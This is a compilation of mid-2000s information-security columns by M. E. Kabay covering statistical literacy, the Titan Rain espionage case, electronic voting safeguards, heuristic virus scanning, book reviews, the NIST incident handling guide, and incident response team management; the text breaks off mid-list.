In *Mumble_Mumble* for Winter 2004, an unnamed author wrote, "How to stop hacking in school" on page 82:

In the article, he or she wrote, "One study found that 60 percent of boys in grades 6 through 12 who hacked into their schoolmates' computers were involved in at least one criminal computer trespass by age 24."

[IMPORTANT NOTE FROM MK TO READERS: THIS IS _NOT_ WHAT WAS WRITTEN: I`M _MAKING THIS UP_ FOR THE EXAMPLE ONLY. _DON'T USE THIS STATISTIC_ AS IF IT WERE TRUE.]

This is half of what statisticians call a *_two-way contingency table_;* that is, it is supposed to allow us to understand relationships among two variables. In this case, the variables are (a) hacking in school and (b) being convicted of criminal computer trespass by age 24. The full table would look something like this:

Proportions	**Children who hacked**	**Children who did not hack**
No criminal trespass by age 24	40%	?
At least one criminal trespass by age 24	60%	?

As you can see, part of this table is missing. The information that was reported in the article is completely useless without the rest of the contingency table. We need to know what percent of the students who did *not* hack others were involved in at least one criminal trespass by age 24. Without that part of the picture, there is no way to evaluate the meaning of the statistic. For example, did half as many non-hackers commit criminal trespass as hackers? The same proportion? Twice as many?

The second issue is that the writer reported the study results with no indication of reliability. Was the sample 10? 100? 1,000? 10,000? Each of those sample sizes is associated with different (and well-established) reliability for estimated proportions. There are well known formulae (and tables based on them) that allow us to guess what are called "confidence intervals" for estimated percentages. Confidence intervals for an estimated percentage define a range of percentages such that the likelihood of being right in asserting that the true proportion lies within that range is some arbitrary degree of confidence – usually 95% or 99%. For example, one might ask whether the true percentage of children later convicted of criminal trespass was between 59 and 61%? 55 and 65%?

50 and 70%? 40 and 80%? What??

Any elementary statistics book will show you that the formulae for calculating the upper and lower 95% confidence limits of a percentage based on an observed percentage "p" from a sample of size "n" are

L(lower) = p – {1.96 * SQRT[p(100-p)/n] + 50/n}
L(upper) = p + {1.96 * SQRT[p(100-p)/n] + 50/n}

If the 60% proportion were based on a sample of, say, 100 children in all, then the 95% confidence limits would be 50%-70%. That is, we would be right 19 times out of 20 that our calculated 95% confidence interval included the true population percentage when taking random samples of 100 children from this population.

Finally, one should always note that association and correlation do not prove causality. That is, even if a higher proportion of kids who hacked were really convicted of criminal trespass, the observation by itself would not prove that hacking in childhood caused the children to commit criminal trespass. The association could be the result of sampling variability (i.e., the scientists were unlucky and got an unrepresentative sample). The result could also occur simply because the two phenomena had shared roots, but neither one caused the other. The observations as reported don't prove or disprove either explanation.

In summary, when reading such statistics, be sure that you have looked at both parts of a 2x2 contingency table; (b) always check for the sample size and the confidence limits of statistics based on sampling from a population; and (c) don't assume that statistical associations necessarily imply causal relationships.

* * *

Readers who want to learn more about reading statistics without being bamboozled can download the paper, "Understanding Studies and Surveys of Computer Crime" from my Web site at < http://www.mekabay.com/methodology/crime_stats_methods.pdf > or can read Chapter 4 of the _Computer Security Handbook, 4th edition_ edited by Seymour Bosworth and M. E. Kabay (2002, Wiley).

Industrial Espionage (9): Blocking Chinese Hackers

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Norwich University, Northfield VT

In my last article, I summarized an interesting case in which an information systems security officer at Sandia National Laboratories discovered that a flood of data thefts was originating from three servers in China. This case was investigated by the FBI and has the code name "Titan Rain."

Scott Granneman wrote a thoughtful and stimulating commentary about Chinese hacker attacks in _The Register_ on the 31st of August < http://tinyurl.com/9g3zo >. He also mentioned the Titan Rain case but he focused first on the experience of some personal friends of his who run Web-hosting services.
They both independently discovered that their systems were being swamped by a flood of peculiar requests originating in a wide range of sites in the People's Republic of China (PRC). He wrote, "Both of my friends thought about their situations, and both came to the same conclusion: block the entire IP ranges! Use WHOIS to look up the IP address' range, then block 'em with the server's firewall. This quickly grew into a mammoth, seemingly neverending task, but it immediately began to pay off. Fishy web server requests tapered off greatly, and while there are still a few every day, it's now become a manageable problem. If things keep up at the same pace, sometime in the next few months they're going to have blocked every IP in China."

Granneman asked whether his friends had told their clients about their new policy of blocking all packets originating in the .CN domain; they said no.

Granneman, to his credit, raises two ethical questions:

1) Should his friends have told the clients about the global block on Chinese access to their Web sites?

2) Is there something wrong with blocking all access to a Web site for all users in a national domain?

For the first question, I think that simple ethical rules dictate that his friends should indeed have informed their clients of the new policy. One rule in ethical decision making is to consider all the stakeholders affected by a decision, and their clients are potentially affected. Another is that openness characterizes appropriate actions; a desire for secrecy always raises questions about whether a course of action is ethical (it doesn't mean that all secrecy is bad, just that it raises questions that should be answered).

However, for the second, I cannot conceive of how anyone could reasonably argue that the owners of a private Web site have any limits whatsoever on how they restrict access to their information. The Web is a method for voluntarily sharing documents (and now, much more) using standard protocols (http, html and so on). Nothing in the technology removes the absolute

right of the data owner to control how that information is shared. For example, if a copyright holder chooses to restrict access to published documents by requiring registration, that's fine. If they require access controls using a userID and a password, that's fine. If they require users to buy smart cards and log in using one-time passwords, that's a real pain but it's also fine. If they require users to have biometric equipment for retinal scans, brain-wave measurements and a signature in blood giving away rights to the user's house, that may be crazy but it's also perfectly legal. The worse the restrictions, the fewer the users, but no one has an absolute right to access any document on a privately-owned site on the Web.

So if a private Web-site owner wants to block all packets originating from the PRC, there is absolutely nothing morally or legally wrong with such a decision.

Personally, I have blocked all e-mail with country domains from which large amounts of spam originate; if someone in those countries wants to communicate with me, they can write me a letter. Immoral? No. Unethical? No.

MY e-mail. MY Web site. Don't bother me if I don't like you, your ISP or your country!

Industrial Espionage (8): China and Titan Rain

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Norwich University, Northfield VT

I have been writing about industrial espionage in this series and now turn to a current case of great value in exploring issues of who is attacking the USA, how to manage an investigation without getting fired, and whether Web site operators can and should block packets from specific domains.

* * *

The immense growth and development of the Chinese economy, especially over the last decade, has been accompanied by a rising tide of industrial espionage and criminal hacking originating from the People's Republic of China (PRC). The CIA Factbook section on China's economy < http://tinyurl.com/atrme > reports that since the shift away from a Soviet-style central-command economy, starting in 1978, the Chinese Gross Domestic Economy has quadrupled. "Measured on a purchasing power parity … basis, China in 2004 stood as the second-largest economy in the world after the US…." The real growth in Gross Domestic Product (GDP) is estimated at 9.1% in 2004, which accords with figures ranging from 8-12% in recent years (the US rate of increase of GDP was 4.4% in 2004).

In summary, China is already a world power and will soon be a superpower challenging the United States and Europe at all levels of geopolitical competition.

TIME Magazine recently (Aug 29, 2005) published an interesting report < http://tinyurl.com/dd5tu > by Nathan Thornburgh about an investigation code-named TITAN RAIN that began in late 2003. As an information systems security officer (ISSO) for Sandia National Laboratories of the US Department of Energy, Shawn Carpenter noticed a flood of expert hacker activity focusing on data theft from a wide range of "the country's most sensitive military bases, defense contractors and aerospace companies." Carpenter discovered that "the attacks emanated from just three Chinese routers that acted as the first connection point from a local network to the Internet." Carpenter worked with US Army and FBI investigators to learn more about the attacks and the attackers. According to Thornburgh, various analysts judge that "Titan Rain is thought to rank among the most pervasive cyberespionage threats that U.S. computer networks have ever faced."

So was Carpenter treated as a hero by Sandia managers?

Well, no. He was fired for inappropriate and unauthorized use of Department of Energy computer resources and information. I'm sorry for Carpenter, but I have already written many times in this venue and elsewhere that it is a really bad idea to use corporate resources without written permission from appropriate authorities, especially if there is any risk of being perceived as a law-breaker. Even if Carpenter had acquired written support from his US Army and FBI handlers, that still might not have protected him against termination of employment. I cannot

criticize Sandia managers on this count, and I understand that applying policy firmly is an important element of effective security management.

Nonetheless, I wonder if anyone reading about the case is in a position to help Carpenter? I would think he'd be an excellent candidate for a new job as ISSO or perhaps as a digital crimes investigator for a law enforcement agency. Let's all wish him the best of luck and hope for a new job that uses his talents and dedication to US national security.

Incidentally, according to the TIME article, the government of the PRC denies any involvement in the hacker activity – but it also flatly refuses to cooperate with US law enforcement authorities investigating the case.

In my next column, I will look at a question raised as a result of this case about how to respond to attacks from a known source.

Securing Vote Tallies

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Vermont has a tiny population; we have about 600,000 people in the entire state. Because of this small population, people here have many ways of becoming involved in civic affairs. Our state house in Montpelier (the smallest state capital city in the US, with 8,000 people) is open to the public, as are committee meetings. State officials such as the governor often walk about in town where ordinary citizens can chat with them in a friendly and very personal way.

I was recently invited to address the Government Operations Committee as they discussed a pending bill which would require any wholly electronic voting mechanism to be equipped with a means of producing a paper ballot that could be inspected by the voter and which would then be stored safely for official recounts. Given the importance of safeguarding the vote in our nation, I thought it might interest readers to step outside the confines of network security for a moment to consider the security implications of wholly electronic voting.

Today, there are three different forms of voting in place in use in the USA (I won't discuss remote, Internet-based voting in this column): one can mark a piece of paper by hand and have it read by people; one can mark a piece of paper by hand or machine and have it read by an optical-mark reader which tallies the results automatically; or one can use a wholly-electronic system with an input device such as a touch-sensitive screen which stores the results in a database and produces automatic tallies.

Normally, paper ballots, whether read by people or tallied by machines, are stored in sealed containers and can be opened with a court order in cases of judicially-approved recounts when election results are challenged.

In Vermont, the Secretary of State's office allows optical-mark readers to be used for elections; only one such machine is required per voting location, most of which have at most a few thousand voters registered per location. However, most locations still use manual counting of ballots under the supervision of representatives of the various political parties involved in the election.

In my testimony before the Government Operations Committee, I stressed the following points:

* Any system of vote counting that relies on completely proprietary (secret) programs is potentially vulnerable to abuse. The underlying computer programs controlling how marks on ballots are counted in Vermont are proprietary (they are owned by Diebold Corporation), but the technicians who prepare the configuration tables relating a position on a ballot to a particular name work for an independent consultancy in Massachusetts and their configuration tables are open for inspection.

* Every optical tabulator is tested to see if it reads ballots correctly before the election begins.

* Passing a law that allows the Secretary of State to order a random check on the accuracy of machine tallies in any voting district will help prevent systematic fraud. The tallies in a manual

recount must match the machine tallies to within an acceptable error rate (to allow for the inherent difference between machine tallies and human counting methods: machine reject incorrectly-marked ballots whereas people can agree on the intention of the voter).

* Wholly-computer-based voting systems have far more vulnerabilities to tampering than optical-mark sensors. We know that even companies such as Microsoft have allowed Easter Eggs (unauthorized, undocumented code such as flight simulators) to escape quality assurance and be delivered to customers in software such as MS-Excel. We know that microprocessors have been tampered with to cheat clients and evade testing (e.g., gas pump meters in the Los Angeles district were designed to overcharge customers by 10% -- unless they noticed one- or five-gallon deliveries, which were the volumes typically used by inspectors when checking accuracy). We know that production code has been profoundly flawed for years without being caught (e.g., the Colorado lottery's not-very-random-number generator that produced only numbers from zero to eight but never any nines). We know that data stored in databases without careful attention to chained cryptographic checksums involving timestamps, sequence numbers and the previous record's checksum can be modified to misrepresent election results.

* For all these reasons, we should resist the use of wholly-computerized voting machines until there is software that is entirely open to inspection.

* Any wholly-electronic voting machine should be required to produce a paper ballot showing the voter's choices for inspection by that voter (only). The voter should then be required to place the ballot in a ballot box for use in judicial recounts and random testing of the accuracy of the computerized voting system.

* * *

Heuristic Scanners Hit the Spot

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

One of the problem any columnist faces when interviewing people in specific companies or highlighting particular products is that the public relations professionals working for other companies begin swarming like piranhas around a fallen capybara (or should that be a Kabaypara?). The number of pleading letters I've been receiving begging me to feature this or that product in my column is growing faster than the junk mail being blocked by various filters on my e-mail system.

Every now and then, though, someone manages to catch my eye with some interesting tidbits, so today I will share some information sent to me by a lady with the fascinating name of Angelica Micallef Trigona. She works for GFI Software Ltd < http://www.gfi.com >, a company based in the beautiful island of Malta that makes "GFI FAXmaker fax connector for Exchange and fax server for networks; GFI MailSecurity email content/exploit checking and anti-virus software; GFI MailEssentials server-based anti-spam software; GFI LANguard Network Security Scanner (N.S.S.) security scanning and patch management software; GFI Network Server Monitor that automatically sends alerts, and corrects network and server issues; and GFI LANguard Security Event Log Monitor (S.E.L.M.) that performs event log based intrusion detection and network-wide event log management."

[Disclaimer: This article is not an endorsement of any product. I have no financial involvement whatever with GFI Software and have not tested their software.]

Ms Trigona wrote, "Novarg (also known as Mydoom and Mimail.R), the latest email virus to threaten the security of networks worldwide, highlights yet again that it is not enough to rely on anti-virus protection alone. The time it takes for anti-virus vendors to discover a virus and issue an update against a new virus is too long and allows ample room for infection and distribution. GFI's Trojan and Executable Scanner, on the other hand, catches Novarg and other new viruses immediately - before their signatures are issued." The press release she sent me states that "GFI MailSecurity's Trojan and Executable Scanner takes a different approach: Rather than relying on signatures, it uses built-in intelligence to rate an executable's risk level. It does this by disassembling the executable, detecting in real time what it might do, and comparing its actions to a database of malicious actions. This way, GFI MailSecurity can detect unknown viruses and Trojans before they enter the network -- and before anti-virus engine vendors have issued signatures against them."

David Vella, GFI MailSecurity Product Manager, said, "Organizations need to take a proactive approach to protecting themselves and should install gateway-level protection against one-off and unknown email threats and Trojans, as well as standard virus scanning software. . . . Novarg.A is reported to be infecting a vast number of computers. This worm is an executable that travels in the form of an email attachment, and it requires users to run the executable to be activated. The worm spoofs the email sender and the executable is usually compressed inside a ZIP file. It also launches a denial-of-service attack on www.sco.com and opens a back door on the infected computers. The GFI Trojan and Executable Scanner feature is able to catch

Novarg.A because this infringes the scanner's ‘CheckUPX’ rule; the worm is compressed using a UPX packer, which indicates that such an executable might be malicious. Further information is available at < http://www.gfi.com/news/en/novarg.htm >.”

* * *

In conclusion, everyone should check their current antivirus software to ensure that it automatically downloads signature file updates and that its heuristic scanning engines are enabled so that it can catch malicious software (malware) that hasn’t yet made it into the signature files. All inbound e-mail attachments should be scanned automatically for malware. Although some outbound e-mail scanners can cause timeouts on SMTP servers, if tests show no such interference, then outbound e-mail scanning should also be enabled to help reduce the spread of e-mail enabled worms.

The Wright Stuff

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Benjamin Wright is an old friend and colleague whose work on *_The Law of Electronic Commerce_* stands as a key reference work in the field of Internet law. He recently sent me a copy of his short text on *_Business Law and Computer Security_* and I'm delighted to recommend it wholeheartedly as an excellent overview that readers will appreciate for its clarity and thoroughness. In addition, the slides shown in the book will be useful to anyone preparing a lecture on any of the important topics covered.

Attorney Wright begins with a short introduction explaining that the book is based on a course intended for non-lawyers and focused on practical issues. He touches on the notion of vicarious liability (sometimes called "downstream liability"): the doctrine that punishes failure of due diligence in preventing abuse of systems to result in penalties on the victim of that abuse if others are harmed.

Another critical issue is proper records management. Wright suggests that the old habits of destroying paper records after a relatively short time should be changed now that we have electronic records storage. Records can be kept until they become obsolete, he says. Data can be converted to new formats for a few cycles of change but then reasonably discarded when the costs outweigh the benefits of conversion. Instead of destroying data based on content, the new policies should discard data simply according to age. However, e-mail, in particular, may have to be kept longer than other types of electronic records because juries are so suspicious of e-mail destruction. No records should be destroyed when litigation is threatened or pending for fear of causing trouble in court.

The next section looks at legal requirements for security, control and privacy. As all policy experts do, Wright warns of the importance of clarity, understanding monitoring, and consistency of enforcement in managing security policies. One of the many practical suggestions: if system administrators discover forbidden software on a network or workstation, they can replace the executable with a warning that pops up when the abuser tries to activate the "pest:" "Security personnel have discovered and removed [describe malicious code]. Acme will reprimand or prosecute you if you place other unauthorized programs on this system."

The other sections of this useful book cover

* information privacy,
* computer evidence, authentication and signatures,
* electronic signatures and authentication,
* electronic contracts, and
* homeland security and information sharing.

The book is attractively printed and inexpensive and could easily be used in a series of lunchtime meetings to introduce legal staff to computer security issues and network administration staff to legal issues.

Good job, Ben!

NIST Guide on Handling Security Incidents

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The January NIST ITL Bulletin from the National Institute of Standards and Technology Information Technology Laboratory announced release of the new _Incident Handling Guide_ that has been available only in draft form for the last year or so. The following is a severely shortened version of the announcement.

* * *

NIST's Information Technology Laboratory recently issued Special Publication (SP) 800-61, _*Computer Security Incident Handling Guide: Recommendations of the National Institute of Standards and Technology*_. Written by Tim Grance, Karen Kent, and Brian Kim, NIST SP 800-61 provides practical guidance to help organizations establish an effective incident response program, analyze and respond to information security incidents, and reduce the risks of future incidents. NIST SP 800-61 is available at < http://csrc.nist.gov/publications/nistpubs/index.html >. . . .

A) Planning and Organizing an Incident Handling Capability

Federal departments and agencies are specifically directed by the Federal Information Security Management Act (FISMA) of 2002 to develop and implement procedures for detecting, reporting, and responding to security incidents. Federal civilian agencies are responsible for designating a primary and secondary point of contact (POC) to report all incidents to the Federal Computer Incident Response Center (FedCIRC) in the Department of Homeland Security, and for documenting corrective actions that have been taken and their impact. . . .

B) Using Effective Security Methods for Networks, Systems, and Applications to Reduce the Frequency of Incidents

. . . . Risk assessments should be performed regularly and the identified risks reduced to an acceptable level. Threats to systems and information should be continuously monitored using intrusion detection systems and other methods. The incident response team should have access to tools, resources, and information such as contact lists, encryption software, network diagrams, and security patches. . . .

C) Interacting with Other Organizations

Clear procedures should be established to communicate when necessary with internal groups such as the human resources, public affairs, and legal departments, and with external organizations such as computer incident response teams and law enforcement officials. . . .

D) Maintaining Staff Awareness of the Importance of Incident Detection and Analysis

Logging and computer security software should be checked for possible signs of incidents.

Event correlation software and centralized logging can be of great value in performing an initial analysis of the voluminous data that is collected and in selecting the events that require human review. . . .

E) Developing Written Guidelines for Prioritizing Incidents

Priorities for the handling of individual incidents should be established, based on the following considerations:
* The criticality of the affected resources (e.g., public web server, user workstation)
* The current and potential technical effect of the incident (e.g., root compromise, data destruction). . . .

F) Applying the Lessons Learned from Incidents

After a major incident has been handled, the organization should hold a meeting to review how effective the incident handling process was and to identify needed improvements to existing security controls and practices. . . . An incident database, with detailed information on each incident that occurs, can be another useful source of information for incident handlers. . . .

G) Maintaining Situational Awareness During Large-Scale Incidents

Communications within the organization and with external groups can be challenging and complex when large-scale incidents are handled. . . . Situational awareness in the organization can be maintained when handling large-scale incidents by:

* Establishing, documenting, maintaining, and exercising on-hours and off-hours contact and notification mechanisms for various individuals and groups within the organization (e.g., chief information officer [CIO], head of information security, IT support, business continuity planning) and outside the organization (e.g., incident response organizations, counterparts at other organizations).
* Planning and documenting guidelines for the prioritization of incident response actions based on business impact.
* Preparing one or more individuals to act as lead officials who are responsible for gathering information from the incident handlers and other parties, and distributing relevant information to the parties that need it.
* Practicing the handling of large-scale incidents through exercises and simulations on a regular basis. . . .

* * *

To subscribe at no cost to the ITL Bulletin, see < http://www.itl.nist.gov/lab/bulletns/subinfo.htm >.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Beyond Fear Into Reason

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Bruce Schneier has been one of my heroes for many years, not least because of the clarity of his thought and the crispness of his writing. Readers of this column have seen references in the past to his free monthly Crypto-Gram newsletter in the past and I hope that you have subscribed to that always-worthwhile publication.

In 2000, Schneier published a ground-breaking primer for non-nerds called _*Secrets & Lies*_ in which he confronted many misunderstandings and outright myths about security in the digital realm. In 2003, he continued his educational efforts with _*Beyond Fear*_, a superb analysis of the basis of rational thought about security in the wider world – not just computers and networks.

Schneier is so clear that even his chapter titles stimulate thought:

Part One: Sensible Security
1. All Security Involves Trade-offs
2. Security Trade-offs Are Subjective
3. Security Trade-offs Depend on Power and Agenda

Part Two: How Security Works
4. Systems and How They Fail
5. Knowing the Attackers
6. Attackers Never Change Their Tunes, Just Their Instruments
7. Technology Creates Security Imbalances
8. Security Is a Weakest-Link Problem
9. Brittleness Makes for Bad Security
10. Security Revolves Around People
11. Detection Works Where Prevention Fails
12. Detection Is Useless Without Response
13. Identification, Authentication And Authorization
14. All Countermeasures Have Some Value, But No Countermeasure Is Perfect
15. Fighting Terrorism

Part Three: The Game of Security
16. Negotiating for Security
17. Security Demystified

One of the most important conceptual frameworks articulated by Schneier are five steps for analyzing any proposed security measure, whether for computers, networks or social systems (p. 14):

Step 1: What assets are you trying to protect?
Step 2: What are the risks to those assets?
Step 3: How well does the security solution mitigate those risks?

Step 4: What other risks does the security solution cause?
Step 5: What trade-offs does the security solution require?

Over and over, Schneier shows that sloppy thinking leads to poor choices of security solutions that can make security worse instead of better. His analyses include such diverse issues as protecting credit-card numbers used for Internet shopping (p. 84); security screening at airports (also p. 84); increased secrecy in the U.S. after 9/11 (p. 130); airline-passenger profiling (p. 164); home burglar alarms (p. 178); national ID cards (p. 204); military actions against terrorism (p. 231) and other interesting topics.

I would love to send policy makers in our nation's government copies of this book, but I greatly fear that most would not read it. You, on the other hand, as intelligent readers of this column, will get a great deal out of reading Schneier's book – and THEN you can try to explain its main points to your congress critters and to any policy wonks you happen to know.

Good luck – for all of us.

Intelligent Ubiquity

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I want to draw readers' attention to a fine e-publication edited by my friends John Gehl and Suzanne Douglas. Quoting from its Web site, "Ubiquity is a Web-based publication of the Association for Computing Machinery, dedicated to fostering critical analysis and in-depth commentary on issues relating to the nature, constitution, structure, science, engineering, technology, practices and paradigms of the IT profession. John Gehl and Suzanne Douglas are the editors of Ubiquity, and Peter J. Denning is chair of its editorial advisory group.

"The publication seeks to provide a forum for community discussions among a wide variety of professionals in the IT arena by focusing on shared interests in: applying computing to enhance various professional disciplines; using the computer as a primary tool for advancing professional learning; and promoting the IT profession."

Now, I'm extremely biased about _Ubiquity_ because John and Suzanne have very kindly published several articles of mine there. Nonetheless, I think readers of this newsletter will particularly enjoy a recent article published in _Ubiquity_, Volume 4, Issue 46 (Jan. 21 - 27, 2004). Stephen Downes is a Senior Researcher for the National Research Council of Canada. He has written a thought-provoking essay entitled "2004: The Turning Point" in which, among many other issues, he discusses several topics that concern network managers and anyone interested in Internet security.

First, Dr Downes suggests that the overwhelming rise of spam in the past year will lead to widespread demands for strong identification and authentication (I&A) of all e-mail messages – or, failing that, at least non-repudiable source addressing. "Kill one spam message and all subsequent email from that sender will be blocked." The downside of such an approach is that any failure of the I&A methods and we'll have even more widespread denial of service to innocent victims of address hijackers.

Secondly, Downes, writes, "It will become apparent that the legislation passed has been, in essence, the legalization of spam. Based on this, it will not be surprising to see marketing agencies take to the courts to block the deployment of authenticated email, on the grounds that it makes their now legal mass mailings unprofitable."

Another interesting idea is that simulation will become a hot medium because ordinary intellectual property is no longer controllable. "Smart people have realized by now that the future of commercial content lies in higher end production that cannot be emulated by a 16-year-old with a computer and an attitude. This is why the music industry has turned to music videos as its salvation, the commercial audio track being almost a thing of the past, and this is why the people who consult for the industry have been embracing simulations in a big way. . . . They provide a compelling alternative to traditional content delivery because they engage the learner. A simulation is not just some scripted presentation of instructional material; it is a representation of that material in a manner that places the learner within a context in which the learning would be used. Simulations, therefore, will be hyped like crazy for the next couple of years . . . ."

As someone involved in online security education, I was particularly struck by this idea, and it has gotten me thinking about how to incorporate more exciting content and media into our MSIA program at Norwich University. While I'm talking about online education, I recommend that anyone with similar interests visit Dr Downes' Web site, which is chock-full of fascinating articles on the subject.

It's too bad we can't hope for ubiquitous intelligence, but at least we have intelligent _Ubiquity_. I hope you enjoy it.

The Uncertainty of Security

by M. E. Kabay, PhD, CISSP
Associate Professor of Information Assurance
Program Director, Bachelor's and Master's Programs in Information Assurance
Division of Business & Management, Norwich University, Northfield VT

One of my colleagues and I enjoy having vigorous discussions which cause those listening to turn pale and back off in fear that we will come to blows.

Actually we're good friends and just enjoy a good intellectual tussle. Sometimes we'll switch sides in the middle of the argument for fun.

One of our latest battles practically cleared out the Faculty/Staff dining room in the mess hall at Norwich University last week. The topic was electronic voting systems, and my colleague blew up when I agreed with Dr Rebecca Mercuri that electronic voting systems should produce a paper ballot to be verified by the voter and then dropped into a secured ballot box in case there was a recall.

The details of the argument don't matter for my purposes today. What fascinated me is his attitude toward the trustworthiness of electronic systems: "That's ridiculous," he said. "Surely you should be able to devise a foolproof electronic system impervious to tampering?? Otherwise we're all in deep trouble, because we've been replacing manual systems by electronic systems for years now in all aspects of business. Why should we go to the expense of keeping old manual systems such as ballot boxes and hand recounts – which are vulnerable to abuses anyway – when we can – or ought to be able to – implement completely secure electronic systems?"

This charming confidence in the power of software engineering is undermined by several well-established principles of the field:

- Security is an emergent property[1] (much like usability or performance) and cannot be localized to specific lines of code.

- Testing for security is one of the most difficult kinds of quality assurance procedures known; it is inherently difficult because failures can occur from such a wide range of sources.[2]

- Security failures can come from design errors (e.g., failing to include identification and authentication measures to restrict access to confidential or critical data); programming errors[3] (e.g., failing to implement a security measure because the source code uses the wrong comparison operator in a comparison); run-time errors[4] resulting from poor programming practice (e.g., failing to prevent bounds violations that result in buffer

[1] An *emergent property* in a system is one that cannot be predicted by inspection of the components alone. E.g., volume, reliability, security, safety, maintainability.
[2] Sources of failure include external factors as well as internal problems; e.g., power failures, equipment quality, user error.
[3] Errors made while writing out the instructions in a computer language such as C++, FORTRAN, PASCAL or assembler.
[4] Errors that occur during execution of the program.

overflows and the consequent execution of data as instructions[5]); and malicious programming (e.g., logic bombs[6] and back doors[7]).

- Worse, quality assurance is often sloppy, with poorly-trained people who don't want to be doing the work assigned to the job in spite of their protests. These folks often believe that manual testing (punching data in via a keyboard) is an acceptable method for challenging software (it isn't[8]); they focus on showing that the software works (instead of trying to show that it doesn't); they don't know how to identify the input domains and boundaries for data (and thus fail to test below, at and above boundaries as well as in the middle of input ranges); and they have no systematic plan for ensuring that all possible paths through the code are exercised (thus allowing many ways of using the program to be wholly untested).

- The principles of provably-correct program design have not yet been applied successfully to most of the complex programming systems in the real world. Perhaps some day we will see methods for defining production code as provably secure, but we haven't gotten there yet.

How ironic that a computer-science geek should thus be in the position of arguing for the involvement of human intelligence in maintaining security. I firmly believe that having independent measures to enforce security is a foundation principle in preventing abuse. Involving skeptical and intelligent people to keep an eye on voting machines is just one example of that principle, and it's worth the money to prevent our democracy from being hijacked.[9]

Virus War

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Virus writers have always seemed like immature vandals to most security and network specialists. Since the early 1990s, when the Virus Creation Lab of 1993 was loosed upon the world, even children with zero technical skills have been able to create viruses. Most of the viruses and worms being generated today are minor variants of each other, but that doesn't make them less of a nuisance.

Lately, though, some of the virus writers seem to have developed quite a level of animosity toward each other. John Gehl and Suzanne Douglas write in their _NewsScan_ summary for March 4, 2004, "The writers of Internet plagues MyDoom, Bagle and Netsky have ratcheted up their competition, embedding insults and threats against each other in the coding of the latest versions of their computer bugs. For example, 'MyDoom.f is a thief of our idea!' and 'Bagle -- you are a looser!' both appear in the code of the latest Netsky worm [no one ever said worm writers were literate!]." Gehl and Douglas continue, "Ken Dunham, director of malicious code at iDefense, says the spat appears to exemplify the rivalry between the authors of MyDoom and Bagle, both of which attempt to take control of infected computers, while the Netsky worm attempts to deactivate the other two."

The reason I mention this is that the rivalry may play into the hands of those who are trying to fight all this electronic vandalism. As most readers know, Microsoft has been offering rewards for information leading to the arrest and conviction of the vandals who wrote the MSBlast worm and the SoBig virus and also against the criminals who stole Windows source code. Recently SCO posted a bounty on the creators of the Mydoom e-mail worm that has been harassing network administrators and users around the globe.

Is it conceivable that the jerks who write this garbage will actually turn each other in to collect the bounties? Would it help if other firms were contribute to a global fund to help find and prosecute the nasties who are wasting our time, clogging our e-mail systems and causing blood pressure to rise on a global scale? Could greed conquer stupidity?

What a dreadful pass we've come to: offering to pay one group of sociopaths to turn in another group of sociopaths.

The pity of it is that much of the problem comes from allowing files received as attachments to be granted execution privileges. There's no good reason for allowing a program that has arrived as an e-mail attachment to be permitted to execute at all without an explicit change of file privileges. In the first place, programs should not be distributed by e-mail at all; they should be downloaded from an appropriate source and checked for validity using well-known and easily implemented methods such as digital signatures and checksums. But files received through e-mail should not be allowed by the operating system to execute at all, let alone without user intervention. And files with double extensions? Phooey – delete 'em all before they reach the user. More on this in another column.

CIRT Management:
Introduction

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this new series of short articles, I will summarize the key points in creating and managing a computer incident response team (CIRT), also sometimes known as a computer emergency response team (CERT). The main resources used in writing this summary are shown in the readings section at the bottom of this introduction; specific references will be provided in each of the remaining articles.

As everyone should know, the value of time is not constant. Spending an hour or a day planning so that one's emergency response is shortened by a few seconds may save a life or prevent a business disaster. Organizing people to respond to computer security incidents is worth the effort not only when you actually have an incident but also because the analysis and interactions leading to establishment of the CIRT bring benefits even without an emergency.

This series will explore the following topics:

* Creating the CIRT
    - o CIRT functions
    - o Defining service levels
    - o Establishing policies and procedures
    - o Staffing the CIRT
* Responding to computer emergencies
    - o Triage
    - o Technical expertise
    - o Tracking incidents
    - o Critical information
    - o The telephone hotline
* Managing the CIRT
    - o Securing your CIRT
    - o Professionalism
    - o Setting the rules for triage
    - o Avoiding burnout
* Continuous process improvement
    - o The post-mortem
    - o Sharing knowledge within the organization
    - o Sharing knowledge in the security community

* * *

Creating the CIRT:
CIRT Functions

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this series, I am reviewing the fundamentals of running a computer incident response team (CIRT), sometimes called a computer emergency response team (CERT) or a computer security incident response team (CSIRT).

Shortly after the infamous Morris Worm incident of November 2, 1988 and several other attacks on the Internet of the day, security experts established the Computer Emergency Response Team Coordination Center (CERT/CC™) at the Software Engineering Institute of Carnegie Mellon University in Pittsburgh, PA. Since then, CERT/CC has provided invaluable services to the world community of Internet users and especially to system and security administrators. In addition to the archives of security alerts and incident analyses available online and via free e-mail subscriptions, CERT/CC provides free electronic textbooks of great quality. One of these is the famous _Handbook for Computer Security Incident Response Teams (CSIRTs)_ edited by Moira J. West-Brown and colleagues and which is now in its second edition (April 2003). I strongly recommend this work to anyone concerned with establishing and managing a CIRT.

West-Brown _et al._ describe the functions of the CIRT as follows:

"For a team to be considered a CSIRT, it must provide one or more of the incident handling services: incident analysis, incident response on site, incident response support, or incident response coordination."

They explain in detail all aspects of these functions and summarize their research on the range of services that CIRTs actually provide, whether by themselves or in cooperation with other teams in the information technology sector, in a table [see page 25] which I have reproduced below in a format more suited to our ASCII-based newsletter:

Reactive Services
* Alerts and warnings
* Incident handling
  - Incident analysis
  - Incident response on site
